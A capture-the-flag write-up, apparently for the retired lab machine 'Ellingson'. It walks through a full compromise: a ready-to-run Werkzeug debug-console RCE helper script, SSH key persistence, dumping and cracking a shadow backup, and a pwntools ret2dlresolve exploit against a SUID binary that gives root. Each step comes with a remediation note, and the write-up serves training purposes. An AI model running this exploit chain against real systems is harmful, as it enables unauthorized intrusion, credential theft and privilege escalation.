Ellingson
Summary
Target ellingson ($TARGET) runs an nginx-fronted Flask application whose Werkzeug debug mode was left active in production. Requesting a non-existent article path (/articles/foo) threw an unhandled exception; the resulting 500 error page embedded the Werkzeug console secret token and per-frame stack IDs in its HTML, giving any visitor who could trigger the error a fully functional interactive Python evaluator: no PIN required. Commands were run as uid=1001 (hal) via subprocess.check_output().
My own SSH public key was written into hal's home directory to stabilize the session. Post-foothold enumeration found /var/backups/shadow.bak world-readable, exposing crypt(3) SHA-512 hashes for all local accounts. Offline cracking with john recovered the passwords for margo and theplague.
Switching to margo revealed a SUID-root binary at /usr/bin/garbage compiled without a stack canary. A stack buffer overflow in its auth() function was exploited with a pwntools Ret2dlresolvePayload chain that resolved and called system() through the dynamic linker entirely from the binary's own PLT/GOT, no libc address leak required, yielding a root shell and the root flag.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"Some commands also carry a value in angle brackets (<offset-from-the-cyclic-run>), which you replace inline with what the step before it turned up.
Attack path: how the box was taken
Exact commands 2
Service-version scan; confirms nginx 1.14.0 on port 80 and OpenSSH 7.6p1 on port 22.
$ nmap -Pn -sV -p 22,80 --script http-title,http-server-header $TARGETFollow the redirect to /index; inspect response headers for framework fingerprints (Server, X-Powered-By).
$ curl -siL http://$TARGET/ | head -40Exact commands 2
Trigger the 500 traceback; the full HTML response contains the Werkzeug secret and frame IDs.
$ curl -i http://$TARGET/articles/fooQuick filter to extract the secret token value and frame IDs needed for console access.
$ curl -si http://$TARGET/articles/foo | grep -E 'SECRET|id="frame-'FixDisable Werkzeug debug mode before deploying any Flask application to productionCritical
Exact commands 3
Written once, on my own machine. Everything after this step goes through it.
$ cat > wz.py <<PY && chmod +x wz.py
#!/usr/bin/env python3
# One shell command through the Werkzeug debug evaluator.
# WZ=http://$TARGET/articles/foo ./wz.py 'id'
# ./wz.py -i payload.bin '/usr/bin/garbage' # local file on the command's stdin
import os, re, sys, requests
base = os.environ['WZ']
page = requests.get(base, timeout=8).text
secret = re.search(r'SECRET = "([^"]+)"', page).group(1)
frame = re.findall(r'id="frame-([0-9]+)"', page)[0]
argv = sys.argv[1:]
stdin = b''
if argv[0] == '-i':
stdin = open(argv[1], 'rb').read()
argv = argv[2:]
subprocess = "__import__('subprocess')"
expression = (
f"{subprocess}.check_output({argv[0]!r}, shell=True, input={stdin!r},"
f" stderr={subprocess}.STDOUT).decode('utf-8', 'replace')"
)
print(requests.get(base, timeout=60, params={
'__debugger__': 'yes', 'cmd': expression, 'frm': frame, 's': secret,
}).text)
PYThe account the web application runs as: uid=1001(hal), not root.
$ export WZ="http://$TARGET/articles/foo" && ./wz.py 'id'-> <user.txt>
$ ./wz.py 'cat /home/hal/user.txt'Exact commands 3
A throw-away pair; the public half is what goes across.
$ ssh-keygen -t ed25519 -f /tmp/hal_key -N ''Hal's home was not group- or world-readable, so sshd would have refused the key on permissions alone.
$ ./wz.py 'mkdir -p /home/hal/.ssh && chmod 700 /home/hal /home/hal/.ssh'Appended, not overwritten. The session it was meant to open never materialised, and the console stayed the channel.
$ ./wz.py "printf '%s\n' '$(cat /tmp/hal_key.pub)' >> /home/hal/.ssh/authorized_keys && chmod 600 /home/hal/.ssh/authorized_keys"Exact commands 5
World-readable. A copy of the shadow file that lost the permissions the original has.
$ ./wz.py 'ls -la /var/backups/shadow.bak'The console prints the file; the redirect is what puts it on my machine.
$ ./wz.py 'cat /var/backups/shadow.bak' > /tmp/shadow.bakThe three accounts with a hash worth feeding a wordlist.
$ grep -E '^(margo|theplague|duke):' /tmp/shadow.bak > /tmp/ellingson_hashes.txtCrypt(3) SHA-512, so slow, two of the three fall.
$ john --wordlist=/usr/share/wordlists/rockyou.txt --format=crypt /tmp/ellingson_hashes.txtPrints what was recovered against the account each belongs to.
$ john --show --format=crypt /tmp/ellingson_hashes.txtFixRestrict permissions on shadow backup files and enforce strong account passwordsCritical
Exact commands 1
Script supplies the pty; su reads the password from it. The nesting is the cost of having no shell.
$ ./wz.py "printf '%s\n' \"$PASSWORD\" | script -q /dev/null -c 'su - margo -c \"id; cat /home/margo/user.txt\"'"
uid=1000(margo) gid=1000(margo)Exact commands 6
/usr/bin/garbage is the entry that belongs to no package.
$ ./wz.py 'find / -perm -4000 -user root -exec ls -la {} \; 2>/dev/null'The console is a text channel, so the binary comes back base64 and is decoded here.
$ ./wz.py 'base64 -w0 /usr/bin/garbage' | tr -d '\r\n' | base64 -d > /tmp/garbageNo canary and no PIE: the addresses in the binary are the addresses at runtime.
$ checksec --file=/tmp/garbagePop rdi; ret is how an argument reaches a function in this calling convention.
$ ROPgadget --binary /tmp/garbage | grep -E 'pop rdi|: ret$'Writes the payload rather than only printing it. The offset comes from a cyclic pattern under gdb.
$ python3 - <<'PY'
from pwn import *
context.arch = 'amd64'
elf = ELF('/tmp/garbage', checksec=False)
dl = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])
rop = ROP(elf)
rop.raw(b'A' * <offset-from-the-cyclic-run>)
rop.ret2dlresolve(dl)
open('/tmp/payload.bin', 'wb').write(rop.chain() + dl.payload)
print(hexdump(rop.chain() + dl.payload))
PYThe helper carries the bytes to the binary's stdin, and the setuid binary supplies the root -> <root.txt>
$ ./wz.py -i /tmp/payload.bin '/usr/bin/garbage; id; cat /root/root.txt'
uid=0(root) gid=0(root)FixRemove the SUID bit from /usr/bin/garbage and recompile with memory-safety mitigationsCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place (a config file, a database, a cracked hash, a service account) is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive, per GTFOBins, yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http nginx 1.14.0 (Ubuntu) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.